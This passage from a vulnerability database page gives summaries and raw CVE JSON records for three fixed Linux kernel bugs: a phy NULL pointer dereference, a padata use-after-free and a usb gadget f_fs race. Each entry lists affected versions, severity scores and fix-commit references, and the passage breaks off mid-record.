Linux	Linux	Affected: 92252eec913b2dd5e7b5de11ea3efa2e64d65cf4 , < 06dd21045a7e8bc8701b0ebedcd9a30a6325878b (git) Affected: 92252eec913b2dd5e7b5de11ea3efa2e64d65cf4 , < 0e939a002c8a7d66e60bd0ea6b281fb39d713c1a (git) Affected: 92252eec913b2dd5e7b5de11ea3efa2e64d65cf4 , < 2a2ff709511617de9c6c072eeee82bcbbdfecaf8 (git) Affected: 92252eec913b2dd5e7b5de11ea3efa2e64d65cf4 , < 589ec16174dd9378953b8232ae76fad0a96e1563 (git) Affected: 92252eec913b2dd5e7b5de11ea3efa2e64d65cf4 , < c0691de7df1d51482a52cac93b7fe82fd9dd296b (git) Affected: 92252eec913b2dd5e7b5de11ea3efa2e64d65cf4 , < 0307cf443308ecc6be9b2ca312bb31bae5e5a7ad (git) Affected: 92252eec913b2dd5e7b5de11ea3efa2e64d65cf4 , < 4469c0c5b14a0919f5965c7ceac96b523eb57b79 (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27047",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-09T18:38:46.768621Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:42.449Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.863Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/06dd21045a7e8bc8701b0ebedcd9a30a6325878b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0e939a002c8a7d66e60bd0ea6b281fb39d713c1a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2a2ff709511617de9c6c072eeee82bcbbdfecaf8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/589ec16174dd9378953b8232ae76fad0a96e1563"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c0691de7df1d51482a52cac93b7fe82fd9dd296b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0307cf443308ecc6be9b2ca312bb31bae5e5a7ad"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4469c0c5b14a0919f5965c7ceac96b523eb57b79"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:16.909Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/phy/phy_device.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "06dd21045a7e8bc8701b0ebedcd9a30a6325878b",
              "status": "affected",
              "version": "92252eec913b2dd5e7b5de11ea3efa2e64d65cf4",
              "versionType": "git"
            },
            {
              "lessThan": "0e939a002c8a7d66e60bd0ea6b281fb39d713c1a",
              "status": "affected",
              "version": "92252eec913b2dd5e7b5de11ea3efa2e64d65cf4",
              "versionType": "git"
            },
            {
              "lessThan": "2a2ff709511617de9c6c072eeee82bcbbdfecaf8",
              "status": "affected",
              "version": "92252eec913b2dd5e7b5de11ea3efa2e64d65cf4",
              "versionType": "git"
            },
            {
              "lessThan": "589ec16174dd9378953b8232ae76fad0a96e1563",
              "status": "affected",
              "version": "92252eec913b2dd5e7b5de11ea3efa2e64d65cf4",
              "versionType": "git"
            },
            {
              "lessThan": "c0691de7df1d51482a52cac93b7fe82fd9dd296b",
              "status": "affected",
              "version": "92252eec913b2dd5e7b5de11ea3efa2e64d65cf4",
              "versionType": "git"
            },
            {
              "lessThan": "0307cf443308ecc6be9b2ca312bb31bae5e5a7ad",
              "status": "affected",
              "version": "92252eec913b2dd5e7b5de11ea3efa2e64d65cf4",
              "versionType": "git"
            },
            {
              "lessThan": "4469c0c5b14a0919f5965c7ceac96b523eb57b79",
              "status": "affected",
              "version": "92252eec913b2dd5e7b5de11ea3efa2e64d65cf4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/phy/phy_device.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: phy: fix phy_get_internal_delay accessing an empty array\n\nThe phy_get_internal_delay function could try to access to an empty\narray in the case that the driver is calling phy_get_internal_delay\nwithout defining delay_values and rx-internal-delay-ps or\ntx-internal-delay-ps is defined to 0 in the device-tree.\nThis will lead to \"unable to handle kernel NULL pointer dereference at\nvirtual address 0\". To avoid this kernel oops, the test should be delay\n\u003e= 0. As there is already delay \u003c 0 test just before, the test could\nonly be size == 0."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:22.595Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/06dd21045a7e8bc8701b0ebedcd9a30a6325878b"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e939a002c8a7d66e60bd0ea6b281fb39d713c1a"
        },
        {
          "url": "https://git.kernel.org/stable/c/2a2ff709511617de9c6c072eeee82bcbbdfecaf8"
        },
        {
          "url": "https://git.kernel.org/stable/c/589ec16174dd9378953b8232ae76fad0a96e1563"
        },
        {
          "url": "https://git.kernel.org/stable/c/c0691de7df1d51482a52cac93b7fe82fd9dd296b"
        },
        {
          "url": "https://git.kernel.org/stable/c/0307cf443308ecc6be9b2ca312bb31bae5e5a7ad"
        },
        {
          "url": "https://git.kernel.org/stable/c/4469c0c5b14a0919f5965c7ceac96b523eb57b79"
        }
      ],
      "title": "net: phy: fix phy_get_internal_delay accessing an empty array",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27047",
    "datePublished": "2024-05-01T12:54:25.156Z",
    "dateReserved": "2024-02-19T14:20:24.213Z",
    "dateUpdated": "2026-05-12T11:51:16.909Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21726 (GCVE-0-2025-21726)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:03

Title

padata: avoid UAF for reorder_work

Summary

In the Linux kernel, the following vulnerability has been resolved: padata: avoid UAF for reorder_work Although the previous patch can avoid ps and ps UAF for _do_serial, it can not avoid potential UAF issue for reorder_work. This issue can happen just as below: crypto_request crypto_request crypto_del_alg padata_do_serial ... padata_reorder // processes all remaining // requests then breaks while (1) { if (!padata) break; ... } padata_do_serial // new request added list_add // sees the new request queue_work(reorder_work) padata_reorder queue_work_on(squeue->work) ... <kworker context> padata_serial_worker // completes new request, // no more outstanding // requests crypto_del_alg // free pd <kworker context> invoke_padata_reorder // UAF of pd To avoid UAF for 'reorder_work', get 'pd' ref before put 'reorder_work' into the 'serial_wq' and put 'pd' ref until the 'serial_wq' finish.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f4f1b1169fc3694f9…
https://git.kernel.org/stable/c/4c6209efea2208597…
https://git.kernel.org/stable/c/7000507bb0d2ceb54…
https://git.kernel.org/stable/c/6f45ef616775b0ce7…
https://git.kernel.org/stable/c/8ca38d0ca8c3d30dd…
https://git.kernel.org/stable/c/a54091c24220a4cd8…
https://git.kernel.org/stable/c/dd7d37ccf6b11f3d9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bbefa1dd6a6d53537c11624752219e39959d04fb , < f4f1b1169fc3694f9bc3e28c6c68dbbf4cc744c0 (git) Affected: bbefa1dd6a6d53537c11624752219e39959d04fb , < 4c6209efea2208597dbd3e52dc87a0d1a8f2dbe1 (git) Affected: bbefa1dd6a6d53537c11624752219e39959d04fb , < 7000507bb0d2ceb545c0a690e0c707c897d102c2 (git) Affected: bbefa1dd6a6d53537c11624752219e39959d04fb , < 6f45ef616775b0ce7889b0f6077fc8d681ab30bc (git) Affected: bbefa1dd6a6d53537c11624752219e39959d04fb , < 8ca38d0ca8c3d30dd18d311f1a7ec5cb56972cac (git) Affected: bbefa1dd6a6d53537c11624752219e39959d04fb , < a54091c24220a4cd847d5b4f36d678edacddbaf0 (git) Affected: bbefa1dd6a6d53537c11624752219e39959d04fb , < dd7d37ccf6b11f3d95e797ebe4e9e886d0332600 (git) Affected: b4c8ed0bf977760a206997b6429a7ac91978f440 (git) Affected: e43d65719527043f1ef79ecba9d4ede58cbc7ffe (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21726",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:58:10.478288Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:28.114Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:27.811Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:29.655Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/padata.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f4f1b1169fc3694f9bc3e28c6c68dbbf4cc744c0",
              "status": "affected",
              "version": "bbefa1dd6a6d53537c11624752219e39959d04fb",
              "versionType": "git"
            },
            {
              "lessThan": "4c6209efea2208597dbd3e52dc87a0d1a8f2dbe1",
              "status": "affected",
              "version": "bbefa1dd6a6d53537c11624752219e39959d04fb",
              "versionType": "git"
            },
            {
              "lessThan": "7000507bb0d2ceb545c0a690e0c707c897d102c2",
              "status": "affected",
              "version": "bbefa1dd6a6d53537c11624752219e39959d04fb",
              "versionType": "git"
            },
            {
              "lessThan": "6f45ef616775b0ce7889b0f6077fc8d681ab30bc",
              "status": "affected",
              "version": "bbefa1dd6a6d53537c11624752219e39959d04fb",
              "versionType": "git"
            },
            {
              "lessThan": "8ca38d0ca8c3d30dd18d311f1a7ec5cb56972cac",
              "status": "affected",
              "version": "bbefa1dd6a6d53537c11624752219e39959d04fb",
              "versionType": "git"
            },
            {
              "lessThan": "a54091c24220a4cd847d5b4f36d678edacddbaf0",
              "status": "affected",
              "version": "bbefa1dd6a6d53537c11624752219e39959d04fb",
              "versionType": "git"
            },
            {
              "lessThan": "dd7d37ccf6b11f3d95e797ebe4e9e886d0332600",
              "status": "affected",
              "version": "bbefa1dd6a6d53537c11624752219e39959d04fb",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "b4c8ed0bf977760a206997b6429a7ac91978f440",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e43d65719527043f1ef79ecba9d4ede58cbc7ffe",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/padata.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.5.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npadata: avoid UAF for reorder_work\n\nAlthough the previous patch can avoid ps and ps UAF for _do_serial, it\ncan not avoid potential UAF issue for reorder_work. This issue can\nhappen just as below:\n\ncrypto_request\t\t\tcrypto_request\t\tcrypto_del_alg\npadata_do_serial\n  ...\n  padata_reorder\n    // processes all remaining\n    // requests then breaks\n    while (1) {\n      if (!padata)\n        break;\n      ...\n    }\n\n\t\t\t\tpadata_do_serial\n\t\t\t\t  // new request added\n\t\t\t\t  list_add\n    // sees the new request\n    queue_work(reorder_work)\n\t\t\t\t  padata_reorder\n\t\t\t\t    queue_work_on(squeue-\u003ework)\n...\n\n\t\t\t\t\u003ckworker context\u003e\n\t\t\t\tpadata_serial_worker\n\t\t\t\t// completes new request,\n\t\t\t\t// no more outstanding\n\t\t\t\t// requests\n\n\t\t\t\t\t\t\tcrypto_del_alg\n\t\t\t\t\t\t\t  // free pd\n\n\u003ckworker context\u003e\ninvoke_padata_reorder\n  // UAF of pd\n\nTo avoid UAF for \u0027reorder_work\u0027, get \u0027pd\u0027 ref before put \u0027reorder_work\u0027\ninto the \u0027serial_wq\u0027 and put \u0027pd\u0027 ref until the \u0027serial_wq\u0027 finish."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:14.541Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f4f1b1169fc3694f9bc3e28c6c68dbbf4cc744c0"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c6209efea2208597dbd3e52dc87a0d1a8f2dbe1"
        },
        {
          "url": "https://git.kernel.org/stable/c/7000507bb0d2ceb545c0a690e0c707c897d102c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/6f45ef616775b0ce7889b0f6077fc8d681ab30bc"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ca38d0ca8c3d30dd18d311f1a7ec5cb56972cac"
        },
        {
          "url": "https://git.kernel.org/stable/c/a54091c24220a4cd847d5b4f36d678edacddbaf0"
        },
        {
          "url": "https://git.kernel.org/stable/c/dd7d37ccf6b11f3d95e797ebe4e9e886d0332600"
        }
      ],
      "title": "padata: avoid UAF for reorder_work",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21726",
    "datePublished": "2025-02-27T02:07:32.861Z",
    "dateReserved": "2024-12-29T08:45:45.754Z",
    "dateUpdated": "2026-05-12T12:03:29.655Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36894 (GCVE-0-2024-36894)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:28 – Updated: 2026-05-12 11:53

Title

usb: gadget: f_fs: Fix race between aio_cancel() and AIO request complete

Summary

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Fix race between aio_cancel() and AIO request complete FFS based applications can utilize the aio_cancel() callback to dequeue pending USB requests submitted to the UDC. There is a scenario where the FFS application issues an AIO cancel call, while the UDC is handling a soft disconnect. For a DWC3 based implementation, the callstack looks like the following: DWC3 Gadget FFS Application dwc3_gadget_soft_disconnect() ... --> dwc3_stop_active_transfers() --> dwc3_gadget_giveback(-ESHUTDOWN) --> ffs_epfile_async_io_complete() ffs_aio_cancel() --> usb_ep_free_request() --> usb_ep_dequeue() There is currently no locking implemented between the AIO completion handler and AIO cancel, so the issue occurs if the completion routine is running in parallel to an AIO cancel call coming from the FFS application. As the completion call frees the USB request (io_data->req) the FFS application is also referencing it for the usb_ep_dequeue() call. This can lead to accessing a stale/hanging pointer. commit b566d38857fc ("usb: gadget: f_fs: use io_data->status consistently") relocated the usb_ep_free_request() into ffs_epfile_async_io_complete(). However, in order to properly implement locking to mitigate this issue, the spinlock can't be added to ffs_epfile_async_io_complete(), as usb_ep_dequeue() (if successfully dequeuing a USB request) will call the function driver's completion handler in the same context. Hence, leading into a deadlock. Fix this issue by moving the usb_ep_free_request() back to ffs_user_copy_worker(), and ensuring that it explicitly sets io_data->req to NULL after freeing it within the ffs->eps_lock. This resolves the race condition above, as the ffs_aio_cancel() routine will not continue attempting to dequeue a request that has already been freed, or the ffs_user_copy_work() not freeing the USB request until the AIO cancel is done referencing it. This fix depends on commit b566d38857fc ("usb: gadget: f_fs: use io_data->status consistently")

Severity ?

5.6 (Medium)


                        
                          CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f71a53148ce34898f…
https://git.kernel.org/stable/c/9e72ef59cbe61cd12…
https://git.kernel.org/stable/c/e500b1c4e29ad0bd1…
https://git.kernel.org/stable/c/3613e5023f09b3308…
https://git.kernel.org/stable/c/a0fdccb1c9e027e31…
https://git.kernel.org/stable/c/73c05ad46bb4fbbdb…
https://git.kernel.org/stable/c/d7461830823242702…
https://git.kernel.org/stable/c/24729b307eefcd7c4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < f71a53148ce34898fef099b75386a3a9f4449311 (git) Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < 9e72ef59cbe61cd1243857a6418ca92104275867 (git) Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < e500b1c4e29ad0bd1c1332a1eaea2913627a92dd (git) Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < 3613e5023f09b3308545e9d1acda86017ebd418a (git) Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < a0fdccb1c9e027e3195f947f61aa87d6d0d2ea14 (git) Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < 73c05ad46bb4fbbdb346004651576d1c8dbcffbb (git) Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < d7461830823242702f5d84084bcccb25159003f4 (git) Affected: 2e4c7553cd6f9c68bb741582dcb614edcbeca70f , < 24729b307eefcd7c476065cd7351c1a018082c19 (git)
Linux	Linux	Affected: 3.15 Unaffected: 0 , < 3.15 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "73c05ad46bb4",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "d74618308232",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "24729b307eef",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              },
              {
                "lessThan": "f71a53148ce3",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              },
              {
                "lessThan": "9e72ef59cbe6",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              },
              {
                "lessThan": "e500b1c4e29a",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              },
              {
                "lessThan": "3613e5023f09",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              },
              {
                "lessThan": "a0fdccb1c9e0",
                "status": "affected",
                "version": "2e4c7553cd6f",
                "versionType": "custom"
              },
              {
                "status": "affected",
                "version": "3.15"
              },
              {
                "lessThan": "3.15",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "4.20",
                "status": "unaffected",
                "version": "4.19.317",
                "versionType": "custom"
              },
              {
